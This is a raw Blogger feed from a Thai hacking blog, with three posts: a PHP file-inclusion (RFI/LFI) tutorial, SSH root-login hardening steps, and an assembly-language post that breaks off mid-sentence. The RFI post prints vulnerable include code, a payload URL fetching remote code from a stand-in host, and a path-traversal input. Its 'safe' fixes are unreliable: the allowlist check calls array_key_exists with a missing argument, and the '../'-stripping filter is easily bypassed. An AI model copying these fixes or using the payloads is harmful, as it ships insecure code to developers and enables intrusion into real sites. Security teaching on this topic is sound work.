RFI(Remote File Inclusion) คือ ช่องโหว่ชนิดนึงที่เปิดทางให้ hacker 
โจมเว็บไซต์ได้ ด้วยการดึงไฟล์จากข้างนอกเว็บ เข้ามารันในเว็บของคุณ&lt;br /&gt;
&lt;br /&gt;
LFI(Local File Inclusion) คือ ช่องโหว่ชนิดนึงที่เปิดทางให้ hacker 
ดึงไฟล์อื่นๆที่อยู่ในเว็บไชต์มารัน หรือดู (อาทิเช่น ไฟล์ config 
หรือไฟล์เก็บ password ต่างๆ)&lt;br /&gt;
&lt;br /&gt;
ทั้งนี้รูรั่วทั้งสองเกิดการความสะเพร่า หรือไม่ใส่ใจในการกรอง input ของตัวผู้เขียนสคริปเอง&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ว่ากันไปตามเหตและผล ผลที่เรารู้แล้วแน่ชัดคือข้อมูลรั่วไหล หรือเว็บโดน hack งั้นมาดู สาเหตุกันดีกว่า&lt;br /&gt;
&lt;br /&gt;
สาเหตุที่ทำให้เกิด รูรั่ว RFI / LFI&lt;br /&gt;
จริงๆก็เกริ่นไว้ตั้งแต่ตอนต้นล่ะครับว่าเกิดจากความสะเพร่า หรือไม่ใส่ใจของคนเขียนสคริปเอง&lt;br /&gt;
&lt;br /&gt;
ตัวอย่างโค๊ดที่ทำให้เกิดช่องโหว่ RFI และ LFI&lt;br /&gt;
&lt;br /&gt;
view sourceprint?&lt;br /&gt;
&amp;lt;? include($_GET[&#39;page&#39;]);?&amp;gt;&lt;br /&gt;
แล้ว hack ก็ป้อน input เข้ามาเป็น index.php?page=http://example.com/evil.txt&lt;br /&gt;
เมื่อดูจาก php แล้วก็จะ ตู้มกลายเป็นโกโก้ครั้นกันเลย&lt;br /&gt;
&lt;br /&gt;
วิธีป้องไม่ให้เกิดรูรั่ว RFI / LFI&lt;br /&gt;
ก็คือการกรอง input ($_GET,$_POST,$_REQUEST,$_COOKIE) ทุกทางที่ user 
สามารถส่งมาได้ จริงๆแล้วหลักปฏิบัติที่ดีในการเขียนสคริป 
ควรจะกรองก่อนทุกครั้งก่อนที่จะนำไปทำอะไรต่อ&lt;br /&gt;
ในกรณีนี้ ผมแนะนำว่าให้ กำหนด Array ไฟล์ที่จะ include เข้ามาด้วย key =&amp;gt; file จะปลอดที่สุดครับ รูรั่วนี้ก็จะหมดไป&lt;br /&gt;
&lt;br /&gt;
view sourceprint?&lt;br /&gt;
$allow = array(&lt;br /&gt;
0 =&amp;gt; &#39;page-0.php&#39;,&lt;br /&gt;
1 =&amp;gt; &#39;page-1.php&#39;,&lt;br /&gt;
&#39;test&#39; =&amp;gt; &#39;page-test.php&#39;,&lt;br /&gt;
&#39;sub&#39; =&amp;gt; &#39;sub.php&#39;,&lt;br /&gt;
);&lt;br /&gt;
if(array_key_exists($_GET[&#39;page&#39;]))&lt;br /&gt;
{&lt;br /&gt;
include($allow[$_GET[&#39;page&#39;]]);&lt;br /&gt;
}&lt;br /&gt;
โดนลิสต์ array แบบนี้ ปัญหาทั้ง RFI และ LFI ก็จะหมดไปครับ&lt;br /&gt;
สำหรับไฟล์ปริมาณมาก(กรณีที่ไม่รู้ว่าจะ ดึงไฟล์ไหนเข้ามา) ผมจะใช้ realpath เป็นตัวจัดการ หรือตัด ../ และ ./ ออกเพื่อป้องกัน LFI&lt;br /&gt;
วิธีการมีมากมายแล้วแต่จะจิตนาการ หรือตามถนัด หรือตามสตาย์ (กังนัมสตายล์ 
ไม่เกี่ยวนะ 555) สำหรับใครที่คิดไม่ออก ผมยกตัวอย่างคร่าวๆ 
สักสองสามวิธีก็แล้วกันครับ&lt;br /&gt;
&lt;br /&gt;
Method 1: str_replace(‘../’,”,$page);&lt;br /&gt;
ตัด ../ ออกด้วย&lt;br /&gt;
&lt;br /&gt;
view sourceprint?&lt;br /&gt;
$page = urldecode($_GET[&#39;page&#39;]); //decode ก่อนชั้นนึง&lt;br /&gt;
$page = str_replace(array(&#39;../&#39;,&#39;./&#39;),&#39;&#39;,$page);&lt;br /&gt;
สมมุติ input มาประมาณว่า&lt;br /&gt;
&lt;br /&gt;
view sourceprint?&lt;br /&gt;
index.php?page=../../config.php&lt;br /&gt;
$page ก็จะเท่ากับ config.php โดนตัด ../ ออกไป&lt;br /&gt;
&lt;br /&gt;
Method 2: realpath&lt;br /&gt;
วิธีที่2 ใช้ realpath ซึ่ง realpath จะ แปลง ./ หรือ ../ ให้กลายเป็น 
absolute path (full path ยาวตั้งแต่ C:/ กรณีวินโดว์)และจะ return false; 
กลับมาถ้าไฟล์นั้นไม่มีอยู่จริง&lt;br /&gt;
&lt;br /&gt;
view sourceprint?&lt;br /&gt;
//สมมติว่า $_GET[&#39;page&#39;] = &#39;../../test.php&#39;;&lt;br /&gt;
$page = realpath($_GET[&#39;page&#39;]); //แปลงให้เป็น absolute&lt;br /&gt;
$incDir = realpath(&#39;my-dir&#39;); &amp;nbsp;//แปลงfolder ที่จะ include เป็น absolute&lt;br /&gt;
if(empty($page) || strpos($page,$incDir)!==0) //เช็คดูว่าอยู่ในโฟลเดอร์เดียวกันหรือเปล่า&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp; &amp;nbsp;die(&#39;404&#39;); //stop script&lt;br /&gt;
}&lt;br /&gt;
include($page);&lt;br /&gt;
Method 3: filename&lt;br /&gt;
วิธีที่ 3 หั่นเอามาเฉพาะ filename&lt;br /&gt;
&lt;br /&gt;
view sourceprint?&lt;br /&gt;
$page = explode(&#39;/&#39;,$_GET[&#39;page&#39;]); //หั่น path ออกมาเป็น array&lt;br /&gt;
$page = array_pop($page); //เอาเฉพาะ filename *index สุดท้าย&lt;br /&gt;
if(file_exists($page))&lt;br /&gt;
&amp;nbsp; include($page);&lt;br /&gt;
จะเห็นว่าเราสามารถกรองได้หลากหลายวิธีมาก แต่ส่วนใหญ่มักจะขี้เกียจ หรือสะเพร่าไปในบางจุด&lt;br /&gt;
ทั้งนี้ต้องดูลักษณะงาน แล้วใช้ให้เหมาะสม จะดีที่สุดครับ&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;บทความจาก : http://code32bit.blogspot.com &lt;/span&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/6098175820810447161'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/6098175820810447161'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/2013/11/rfiremote-file-inclusion-hacking.html' title='การ Hack ด้วยช่องโหว่ RFI (Remote File Inclusion)'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTvua9b2r3vtI28SuEDHHkPlzooWFp1ATYna5gC0rVVHXVWt6T2qYmjF-pg8JAc0lrChN3wj6Vy01s2qb78pJPGb49v5mw_Pn_pK11kEscYt25FLH6oJj4DdYMO-q_pSXXUjDdL857msXK/s72-c/Untitled-1.jpg" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-2982753419959124282.post-6196352979564956475</id><published>2013-11-18T21:29:00.000+07:00</published><updated>2013-11-18T21:30:00.929+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hack"/><category scheme="http://www.blogger.com/atom/ns#" term="Hack Web"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="script"/><category scheme="http://www.blogger.com/atom/ns#" term="Tool"/><category scheme="http://www.blogger.com/atom/ns#" term="กลโกง Hacker Web"/><category scheme="http://www.blogger.com/atom/ns#" term="คำสั่งพื้นฐาน"/><category scheme="http://www.blogger.com/atom/ns#" term="สอนเขียน PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="เขียนโปรแกรม"/><category scheme="http://www.blogger.com/atom/ns#" term="แฮกเว็บ"/><title type='text'>SSH คืออะไร? และ วิธีป้องกัน root ssh</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAW1UsX8D7aDj5-wOBMGg2p4kEv8Muisrc7hmcsUIeC1WkggYXkV629o1Jxr4YVOBeURFxYtRFZ_zEKQTUGogcgUnITFWeFIfbbhWUBTOlH6hFStFMFL29x7MI8hRVPBG5ADmjRJFyi_Ju/s1600/ssh-tunnel.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;161&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAW1UsX8D7aDj5-wOBMGg2p4kEv8Muisrc7hmcsUIeC1WkggYXkV629o1Jxr4YVOBeURFxYtRFZ_zEKQTUGogcgUnITFWeFIfbbhWUBTOlH6hFStFMFL29x7MI8hRVPBG5ADmjRJFyi_Ju/s400/ssh-tunnel.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;SSH (Secure Shell)&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;entry&quot;&gt;
&lt;b&gt;SSH (Secure Shell) คือ&lt;/b&gt; Network Protocal ที่สามารถแลกเปลี่ยนข้อมูลโดยช่องทางที่ปลอยภัย (Secure Channel) ระหว่างอุปกรณ์เครือข่ายสองตัว ใช้ Linux หรือ Unix เป็นระบบปฏิบัตการพื้นฐานในการเข้าถึงบัญชีผู้ใช้ (Shell Accounts) ซึ่ง SSH ได้รับการออกแบบให้มาแทนการ Telnet, Rlogin, RSH (The remote shell) ด้วยเหตุผลทางด้านความปลอดภัย การส่งข้อมูลจะอยู่ในรูปแบบตัวอักษร (Plaintext) ที่มีการเข้ารหัสข้อมูล (Encryption) เพื่อให้ข้อมูลเป็นความลับและให้สามารถส่งข้อมูลผ่านเครือข่าย Internet ได้อย่างสมบูรณ์ สามารถใช้งาน SSH ผ่านโปรแกรมประยุกต์ (Applications) ได้มากมายบนระบบปฏิบัติการ UNIX, Microsoft Windows, Apple Mac และ Linux โปรแกรมประยุกต์ (Applications)&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;a href=&quot;http://www.sutenm.com/wp-content/uploads/2010/08/SSHSecureShell.jpg&quot;&gt;&lt;img alt=&quot;SSH (Secure Shell)&quot; border=&quot;0&quot; height=&quot;200&quot; src=&quot;http://www.sutenm.com/wp-content/uploads/2010/08/SSHSecureShell_thumb.jpg&quot; style=&quot;border-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto;&quot; title=&quot;SSH (Secure Shell)&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
ตัวอย่างการใช้งาน SSH ผ่านโปรแกรม PuTTY ในระบบปฏิบัติการ Microsoft Windows 7&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;จาก: http://www.sutenm.com &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;color: orange;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;ป้องกัน root ssh บน centos

&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;post-header&quot;&gt;
&lt;div class=&quot;post-header-line-1&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;post-body entry-content&quot; id=&quot;post-body-1490540248479976339&quot; itemprop=&quot;description articleBody&quot;&gt;
&lt;br /&gt;
วิธีการ Set SSH ไม่ให้ root login เข้ามา&lt;br /&gt;
วันนี้จะมาสอน security เบื้องต้นของ linux &lt;br /&gt;
&lt;br /&gt;
นั่นคือ การไม่ให้ Root Access เครื่องโดยตรง แต่ต้องผ่าน user คนอื่นก่อน&lt;br /&gt;
&lt;br /&gt;
มาดูวิธีกันเลยดีกว่า&lt;br /&gt;
&lt;br /&gt;
[root@valkyrie ~]# useradd &lt;newuser&gt;&lt;br /&gt;เพื่อสร้าง user ใหม่ครับ ใช้ในการที่เอาไว้ login ssh แทน root&lt;br /&gt;&lt;br /&gt;[root@valkyrie ~]# passwd &lt;newuser&gt;&lt;br /&gt;ทีนี้ก็กำหนด Password ให้มันครับ (แนะนำให้คนละอันกับ root)&lt;br /&gt;&lt;br /&gt;[root@valkyrie ~]# vi /etc/ssh/sshd_config&lt;br /&gt;เข้าไปแก้ไข sshd_config ครับ&lt;br /&gt;ตั้ง PermitRootLogin เป็น no&lt;br /&gt;ซึ่งในตอนแรก มันจะปรับเป็น yes แล้ว comment ด้วย # ไว้ เอาออกด้วยนะครับ&lt;br /&gt;แล้วเลื่อนลงมาล่างสุดครับ ให้พิมพ์บรรทัดนี้เพิ่มเข้าไป&lt;br /&gt;AllowUsers &lt;newuser&gt;&lt;br /&gt;แล้ว save ไฟล์ ปิด ออกมานะครับ&lt;br /&gt;&lt;br /&gt;ทีนี้ สั่ง service sshd restart เพื่อสั่งรี service sshd&lt;br /&gt;&lt;br /&gt;ระหว่างนี้ ห้ามปิด SSH นี้ก่อนนะครับ เพราะเรายังไม่รู้ว่า config ที่เราใช้ มีปัญหาทำให้ login ไม่ได้หรือไม่&lt;br /&gt;ถ้าไม่ทดสอบก่อน อาจจะต้องเดินไปแก้ไฟล์หน้าเครื่องได้นะครับ เพราะจะ ssh ไม่ได้อีกเลย&lt;br /&gt;ดังนั้นให้เปิด terminal ssh เข้าไปยัง server อีกครั้งนะครับ แล้วลอง login ด้วย root ดู&lt;br /&gt;จะพบว่า มัน login ไม่ได้&lt;br /&gt;ให้ปิด terminal นั้นแล้วเปิด ssh ไปอีกหน้าหนึ่ง แล้วทดสอบ login ด้วย user ที่เราสร้างไปเมื่อตอนแรก&lt;br /&gt;ถ้าได้ ก็ ok ครับ ฉลุย ผ่าน&lt;br /&gt;&lt;br /&gt;ถ้าเราต้องการใช้สิทธิ Root&lt;br /&gt;คือเนื่องจาก user ที่สร้างใหม่นั้น มันจะไม่มีสิทธิเทียบเท่า Root ดังนั้น วิธีการที่จะทำให้เราเข้าไปใน Root ได้ นั่นคือคำสั่ง&lt;br /&gt;[newusers@valkyrie ~]$ su -&lt;br /&gt;มันจะให้พิมพ์ password root เราก็พิมพ์ root&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;เครดิตจำไม่ได้ต้องขอโทษทีนะครับ&lt;/span&gt;&lt;/newuser&gt;&lt;/newuser&gt;&lt;/newuser&gt;&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/6196352979564956475'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/6196352979564956475'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/2013/11/ssh-root-hacking.html' title='SSH คืออะไร? และ วิธีป้องกัน root ssh'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAW1UsX8D7aDj5-wOBMGg2p4kEv8Muisrc7hmcsUIeC1WkggYXkV629o1Jxr4YVOBeURFxYtRFZ_zEKQTUGogcgUnITFWeFIfbbhWUBTOlH6hFStFMFL29x7MI8hRVPBG5ADmjRJFyi_Ju/s72-c/ssh-tunnel.jpg" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-2982753419959124282.post-6066466647405375509</id><published>2013-11-09T17:15:00.001+07:00</published><updated>2013-11-09T17:27:32.952+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hack"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP เบื้องต้น"/><category scheme="http://www.blogger.com/atom/ns#" term="script"/><category scheme="http://www.blogger.com/atom/ns#" term="กลโกง Hacker Web"/><category scheme="http://www.blogger.com/atom/ns#" term="คำสั่งพื้นฐาน"/><category scheme="http://www.blogger.com/atom/ns#" term="สอนHack"/><category scheme="http://www.blogger.com/atom/ns#" term="เขียนเว็บ"/><category scheme="http://www.blogger.com/atom/ns#" term="เขียนโปรแกรม"/><title type='text'>ภาษา Assembly คืออะไร? และ การเขียนโปรแกรมด้วยภาษา Assembly</title><content type='html'>&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;b&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjB4qmQRUoCMHI8_1W2HC1uafOWfeki1pwjKukES9Lnz6JrcybYAoGPfq-QuLSCukVD59ngJgSdk6aUKEedF6h1wQ8ZRBQ0PVa7ewbaumkxxtIhSchrptHAV1M6mTqRE1UpiD1ktENTxThB/s1600/srthesis2009.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjB4qmQRUoCMHI8_1W2HC1uafOWfeki1pwjKukES9Lnz6JrcybYAoGPfq-QuLSCukVD59ngJgSdk6aUKEedF6h1wQ8ZRBQ0PVa7ewbaumkxxtIhSchrptHAV1M6mTqRE1UpiD1ktENTxThB/s320/srthesis2009.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;ภาษาแอสเซมบลี&lt;/b&gt; (&lt;a href=&quot;http://th.wikipedia.org/wiki/%E0%B8%A0%E0%B8%B2%E0%B8%A9%E0%B8%B2%E0%B8%AD%E0%B8%B1%E0%B8%87%E0%B8%81%E0%B8%A4%E0%B8%A9&quot; title=&quot;ภาษาอังกฤษ&quot;&gt;อังกฤษ&lt;/a&gt;: &lt;span lang=&quot;en&quot;&gt;Assembly Language&lt;/span&gt;) หมายถึง ภาษาที่ใช้ในการเขียนโปรแกรมภาษาหนึ่งซึ่งจะทำงานโดยขึ้นกับรุ่นของ&lt;a href=&quot;http://th.wikipedia.org/wiki/%E0%B9%84%E0%B8%A1%E0%B9%82%E0%B8%84%E0%B8%A3%E0%B9%82%E0%B8%9E%E0%B8%A3%E0%B9%80%E0%B8%8B%E0%B8%AA%E0%B9%80%E0%B8%8B%E0%B8%AD%E0%B8%A3%E0%B9%8C&quot; title=&quot;ไมโครโพรเซสเซอร์&quot;&gt;ไมโครโพรเซสเซอร์&lt;/a&gt; หรือ &quot;&lt;a class=&quot;mw-redirect&quot; href=&quot;http://th.wikipedia.org/wiki/%E0%B8%AB%E0%B8%99%E0%B9%88%E0%B8%A7%E0%B8%A2%E0%B8%9B%E0%B8%A3%E0%B8%B0%E0%B8%A1%E0%B8%A7%E0%B8%A5%E0%B8%9C%E0%B8%A5&quot; title=&quot;หน่วยประมวลผล&quot;&gt;หน่วยประมวลผล&lt;/a&gt;&quot; (&lt;a class=&quot;mw-redirect&quot; href=&quot;http://th.wikipedia.org/wiki/CPU&quot; title=&quot;CPU&quot;&gt;CPU&lt;/a&gt;) ของเครื่องคอมพิวเตอร์&lt;br /&gt;

การใช้ภาษาแอสเซมบลีจำเป็นต้องผ่าน&lt;a class=&quot;mw-redirect&quot; href=&quot;http://th.wikipedia.org/wiki/%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B9%81%E0%B8%9B%E0%B8%A5%E0%B8%A0%E0%B8%B2%E0%B8%A9%E0%B8%B2&quot; title=&quot;การแปลภาษา&quot;&gt;การแปลภาษา&lt;/a&gt;ด้วย&lt;a href=&quot;http://th.wikipedia.org/wiki/%E0%B8%84%E0%B8%AD%E0%B8%A1%E0%B9%84%E0%B8%9E%E0%B9%80%E0%B8%A5%E0%B8%AD%E0%B8%A3%E0%B9%8C&quot; title=&quot;คอมไพเลอร์&quot;&gt;คอมไพเลอร์&lt;/a&gt;เฉพาะเรียกว่า &lt;a class=&quot;new&quot; href=&quot;http://th.wikipedia.org/w/index.php?title=%E0%B9%81%E0%B8%AD%E0%B8%AA%E0%B9%80%E0%B8%8B%E0%B8%A1%E0%B9%80%E0%B8%9A%E0%B8%A5%E0%B8%AD%E0%B8%A3%E0%B9%8C&amp;amp;action=edit&amp;amp;redlink=1&quot; title=&quot;แอสเซมเบลอร์ (หน้านี้ไม่มี)&quot;&gt;แอสเซมเบลอร์&lt;/a&gt; (&lt;a class=&quot;new&quot; href=&quot;http://th.wikipedia.org/w/index.php?title=Assembler&amp;amp;action=edit&amp;amp;redlink=1&quot; title=&quot;Assembler (หน้านี้ไม่มี)&quot;&gt;assembler&lt;/a&gt;)
 ให้อยู่ในรูปของรหัสคำสั่งก่อน (เช่น .OBJ) โดยปกติ 
ภาษานี้ค่อนข้างมีความยุ่งยากในการใช้งาน 
และการเขียนโปรแกรมเป็นจำนวนบรรทัดมากมากกว่า 
เมื่อเปรียบเทียบกับการใช้ภาษาระดับสูง เช่น &lt;a class=&quot;mw-redirect&quot; href=&quot;http://th.wikipedia.org/wiki/%E0%B8%A0%E0%B8%B2%E0%B8%A9%E0%B8%B2_C&quot; title=&quot;ภาษา C&quot;&gt;ภาษา C&lt;/a&gt; หรือ&lt;a class=&quot;mw-redirect&quot; href=&quot;http://th.wikipedia.org/wiki/%E0%B8%A0%E0%B8%B2%E0%B8%A9%E0%B8%B2_BASIC&quot; title=&quot;ภาษา BASIC&quot;&gt;ภาษา BASIC&lt;/a&gt;
 แต่จะทำให้ได้ผลลัพธ์การทำงานของโปรแกรมเร็วกว่า 
และขนาดของตัวโปรแกรมมีขนาดเนื้อที่น้อยกว่าโปรแกรมที่สร้างจากภาษาอื่นมาก 
จึงนิยมใช้ภาษานี้เมื่อต้องการประหยัดเวลาทำงานของเครื่องคอมพิวเตอร์ 
และเพิ่มประสิทธิภาพของโปรแกรม&lt;br /&gt;

เนื่องจากตัวคำสั่งภายในภาษาอ้างอิงเฉพาะกับรุ่นของ&lt;a class=&quot;mw-redirect&quot; href=&quot;http://th.wikipedia.org/wiki/%E0%B8%AB%E0%B8%99%E0%B9%88%E0%B8%A7%E0%B8%A2%E0%B8%9B%E0%B8%A3%E0%B8%B0%E0%B8%A1%E0%B8%A7%E0%B8%A5%E0%B8%9C%E0%B8%A5&quot; title=&quot;หน่วยประมวลผล&quot;&gt;หน่วยประมวลผล&lt;/a&gt; ดังนั้นถ้ามีการเปลี่ยนแปลงไปใช้กับหน่วยประมวลผลอื่นหรือระบบอื่น (เช่น หน่วยประมวลผล &lt;a class=&quot;mw-redirect&quot; href=&quot;http://th.wikipedia.org/wiki/X86&quot; title=&quot;X86&quot;&gt;x86&lt;/a&gt; ไม่เหมือนกับ &lt;a class=&quot;new&quot; href=&quot;http://th.wikipedia.org/w/index.php?title=Z80&amp;amp;action=edit&amp;amp;redlink=1&quot; title=&quot;Z80 (หน้านี้ไม่มี)&quot;&gt;z80&lt;/a&gt;) จะต้องมีการปรับแก้ตัวคำสั่งภายในซึ่งบางครั้งอาจไม่สามารถปรับปรุงแก้ไขได้อย่างสมบูรณ์&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; การพัฒนางานทางด้านไมโครคอนโทรลเลอร์ด้วยภาษา Assembly นั้น ถือว่ายังเป็นที่นิยมอยู่มาก&lt;br /&gt;ในบ้านเรา เรียกได้ว่าเป็นส่วนใหญ่เลย ในขณะที่ต่างประเทศนั้น ภาษา Assembly จะนิยมรอง&lt;br /&gt;ลงมาจากภาษา C ที่ใช้กันเป็นอันดับหนึ่ง อาจจะเป็นเพราะว่าความคุ้นเคย หรือเพราะความตรง&lt;br /&gt;ไปตรงมาของภาษา Assembly ที่เป็นจุดเด่นอย่างหนึ่งก็ได้ ไม่ว่าจะอย่างไรก็ตาม การเข้าถึง&lt;br /&gt;ภาษา Assembly ได้นั้น ถือว่าเป็นการเรียนรู้และเข้าใจได้ลึกซึ้งที่สุด และถ้ารู้จักนำมาประยุกต์&lt;br /&gt;ใช้งานให้เหมาะสมแล้ว ก็จะเป็นประโยชน์ต่อการพัฒนาเทคโนโลยีต่าง ๆ เป็นอย่างมาก &lt;br /&gt;สำหรับชิพตระกูล MCS-51 นั้น (ขอย้ำ ... ตระกูลครับ ... ไม่ใช่เบอร์ 51 ... แต่มากันเป็นร้อย ๆ เบอร์)&lt;br /&gt;จากประสบการณ์ที่ได้สะสมมา พอจะสรุปเป็นประเด็นต่าง ๆ ได้ 10 ประเด็น ที่นักพัฒนาทั้งหลาย&lt;br /&gt;ควรจะจดจำไว้ให้แม่น เพื่อจะช่วยให้การพัฒนาเป็นไปได้อย่างไม่ติดขัด ... ดังนี้ครับ &lt;br /&gt;&lt;br /&gt;1. Internal RAM พื้นที่ยุทธศาสตร์&lt;br /&gt;MCS-51 ถูกออกแบบให้มี Internal RAM ภายใน 128 Byte (เบอร์ 8051) หรือ 256 Byte (เบอร์ 8052)&lt;br /&gt;และนี่เป็นความตั้งใจของผู้ผลิตที่จะให้ใช้พื้นที่ส่วนนี้เพื่อการทำงานต่าง ๆ คือเป็น Working Area ไม่ว่าจะ&lt;br /&gt;เป็นส่วน Register, Stack, และ Buffer ชุดคำสั่งเกือบจะทั้งหมดจะกระทำกับ Internal RAM นี้ ถ้าเรา&lt;br /&gt;จะพยายามใช้ส่วนของ External RAM เป็นพื้นที่ในรูปแบบ Working Area ก็จะเป็นเรื่องที่ยุ่งยากเกินไป&lt;br /&gt;ส่วน External RAM เหมาะสำหรับการเก็บข้อมูลแบบต่อเนื่อง หรือทำเป็น Buffer จำนวนมาก ๆ เท่านั้น&lt;br /&gt;เพราะเนื่องจากมีคำสั่งที่ใช้งานได้ไม่กี่คำสั่ง เช่น MOVX A,@DPTR ในส่วน Internal RAM นั้น เรา&lt;br /&gt;สามารถใช้งานโดยตรงได้โดยไม่ต้องใช้ Register ให้ยุ่งยากเลย ตัวอย่างเช่น&lt;br /&gt;&lt;br /&gt;MOV COUNT,#18H&lt;br /&gt;LOOP: ...&lt;br /&gt;...&lt;br /&gt;...&lt;br /&gt;DJNZ COUNT,LOOP&lt;br /&gt;&lt;br /&gt;ในที่นี้ COUNT คือชื่อที่อ้างถึงพื้นที่ Internal RAM ที่กำหนดจากคำสั่ง EQU หรือ DS อีกที สังเกตุว่าเรา&lt;br /&gt;ใช้งานได้เสมือนกับเป็น Register R0-R7 เลย อีกประเด็นหนึ่งที่เกี่ยวกับ Internal RAM ก็คือ การอ้าง&lt;br /&gt;ถึงพื้นที่ RAM ตั้งแต่ Address 80-FFH (เบอร์ 8052) ซึ่งมี Address ซ้อนทับกับส่วน SFR 80-FFH ด้วย&lt;br /&gt;จะต้องแยกด้วยคำสั่งที่ใช้งาน ถ้าเป็นกรณีอ้างถึง RAM ที่ตำแหน่ง A0H จะต้องใช้คำสั่งแบบ Indirect ดังนี้ &lt;br /&gt;&lt;br /&gt;MOV R0,#0A0H&lt;br /&gt;MOV A,@R0&lt;br /&gt;&lt;br /&gt;แต่ถ้าเป็นกรณีอ้างอิงถึง SFR ที่ตำแหน่ง A0H เช่นกัน จะต้องใช้คำสั่งแบบ Direct ดังนี้ &lt;br /&gt;&lt;br /&gt;MOV A,0A0H&lt;br /&gt;&lt;br /&gt;2. ระบบ Stack และการเรียงข้อมูล&lt;br /&gt;ระบบ Stack ของ MCS-51 จะเป็นแบบนับขึ้น โดยมีค่าเริ่มต้นหลังจาก Reset เป็น 07H เสมอ ถ้ามีการใช้&lt;br /&gt;คำสั่ง PUSH หรือ CALL ค่า Stack จะเพิ่มขึ้นก่อน แล้วจึงเก็บข้อมูลลงไป ซึ่งก็จะเป็น Address 08H เป็น&lt;br /&gt;ตัวแรก ระบบ Stack สามารถโยกย้ายไปที่ใดก็ได้ใน Internal RAM ซึ่งรวมไปถึงส่วน Address 80-FFH&lt;br /&gt;ด้วย โดยจะไม่ปะปนกับส่วน SFR แต่อย่างใด ... ส่วนการเรียงลำดับข้อมูลขนาด 16 บิทในคำสั่งต่าง ๆ &lt;br /&gt;จะเรียงจาก High ไป Low เสมอ เช่นการใช้คำสั่ง LJMP ไปที่ Address 87FFH จะแปลงเป็น Op-Code&lt;br /&gt;คือ 02H,87H,FFH&lt;br /&gt;&lt;br /&gt;3. ชื่อ Register หรือ Bit ... กำหนดให้ถูกกับการใช้งาน&lt;br /&gt;ใน MCS-51 จะมีมุมมองจากจุดต่าง ๆ กัน เพราะฉะนั้นจะมีชื่ออ้างอิงที่ต่างกันด้วย ทั้งนี้การที่ผู้ผลิตชิพ&lt;br /&gt;ออกแบบไว้อย่างนี้ ก็เพื่อให้ชุดคำสั่งใช้ได้อย่างมีประสิทธิภาพโดยไม่สับสน ชื่อจะมีอยู่ 3 แบบ คือ&lt;br /&gt;&lt;br /&gt;ชื่อเฉพาะ เช่น A, R2, C(Carry), 